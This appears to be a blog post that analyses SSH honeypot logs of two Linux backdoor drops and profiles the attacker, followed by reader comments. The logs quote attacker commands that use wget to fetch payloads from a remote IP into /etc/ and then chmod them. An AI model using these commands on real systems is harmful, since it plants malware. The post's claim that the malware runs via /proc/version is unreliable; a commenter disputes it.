You can tell a lot about an attacker based upon their methods of attack.
-Automated attacks happen rapidly, with no time for typing
-Manual attacks happen slowly, as the attacker has to type commands
-Typos and misspellings indicate a manual attack
-Connection string will give away what kind of operating system the attacker is using
Let's take a look at both pieces of the Linux/Bckdr-RKC malware I've received.
.xsyslog
First seen 2011-12-21 11:56:26
User connected from 64.62.224.250 (This is a United States IP address, no host name)
User SSH client was SSH-2.0-libssh2_1.3.0
11:56:27: User downloaded .xsyslog to /etc/ using "wget -P/etc/ http://216.83.44.229:99/.xsyslog"
11:56:28: User granted executable permission using "chmod 777 /etc/.xsyslog"
11:56:28: User performed a "cat /proc/version"
14:04:06: User disconnected
.ssyslog
First seen 2011-12-24 06:54:03
User connected from 61.147.75.6 (This is a Chinese IP address, no host name)
User SSH client was SSH-2.0-libssh2_1.3.0
06:54:06: User downloaded .ssyslog to /etc/ using "wget -P/etc/ http://216.83.44.229:99/.ssyslog" at
06:54:08: User granted executable permission using "chmod 777 /etc/.ssyslog"
06:54:09: User performed a "cat /proc/version"
06:55:42: User disconnected
08:53:24: User reconnected and retried above procedure from 61.147.75.6
09:01:49: User disconnected
10:37:44: User reconnected and retried above procedure from 61.147.75.6 (did not disconnect)
Then a second connection appears:
User connected from 87.217.199.83 (83.199.217.87.dynamic.jazztel.es - from Spain)
User SSH client was SSH-2.0-PuTTY_Release_0.60
10:49:58: User connected and manually mistyped root password as 1234567
10:50:00: User re-entered correct root password as 123456
User proceeded to try and open common Linux text editors "nano" and "pico"
User attempted to install "nano" and "pico" using yum.
10:51:05: Frustrated, the user sent a reboot command
10:51:23: 87.217.199.83 disconnects
10:57:36: 61.147.75.6 disconnects
What can we learn about the attacker from the above sequence of events?
- Both .xsyslog and .ssyslog were delivered by a libssh2 client, indicating a non-windows system
- The remote install of .xsyslog and .ssyslog may be automated, due to the rapid entry of commands
- The remote install of .ssyslog was being monitored by its botmaster, who attempted to actually debug why the malware was not phoning home
- The botmaster/attacker has some working knowledge of how the .xsyslog and .ssyslog malware functions, and attempted to troubleshoot, indicating he/she is not simply a "script kiddy" using someone else's malware
- The botmaster is possibly located in Spain, or relayed through a compromised system in Spain
- The botmaster uses a Windows system, since the troubleshooting connection was performed using Putty.
Similarities between .xsyslog and its later counterpart, .ssyslog:
- Both pieces of malware were hosted by the same IP address.
- Both pieces of malware are placed in the /etc/ folder
- Both pieces of malware are executed by running /proc/version
How exactly is this "executed" by running /proc/version? Proc on Unix systems is a pseudo filesystem and is mostly read only. /proc/version does absolutely nothing but return the kernel and compiler versions. It doesn't "execute" anything.
ReplyDeleteSecondly how did this supposed malware end up on your honeypot? In all of your posts, you have never explained that. Are you just leaving sshd open on port 22 for anyone to connect?
Malware in Linux is extremely rare in practice (though there has been a lot of malware written for it in the past -- it just never goes anywhere). Why? Because it is hard to get it to do anything without the user's explicit permission. In your case this malware is not the problem -- anyone can write malicious code. The problem is how it got on your system in the first place. Most reasonable people are not going to leave sshd open and running on port 22. Most Linux distros do not come with any listening services enabled by default. So that completely shuts down that attack vector.
So how much will this piece of code matter in the larger scheme of things? Very little. It simply cannot affect anyone who isn't a complete idiot. A few outdated servers may get cracked and have such code uploaded, but those servers have much bigger problems than some piece of malicious code.
Malware is boring. It is a "whack 'a mole" game that never ends.
Great questions!
ReplyDelete1) I'm not sure! It's rather confusing how exactly the malware "starts"...it's possible whoever was trying to install the malware was using the wrong command.
2) My honeypot is an SSH honeypot running on port 22 with a weak password. The attacker had to crack the password before connecting to the system.
3) Most "reasonable" people unfortunately does not include everyone. Some admins will NOT follow best security practices and open their system up to vulnerabilities.
4) Good thoughts. Then again Stuxnet's primary infection vector was through USB...and no one would ever plug in a USB stick to their computer which they randomly found somewhere, would they? Never underestimate the potential for human error.
Anti-virus is a game of "whack a mole" that never ends. Until we start whitelisting "known good" applications instead of blacklisting "known malicious" applications we'll never win the game.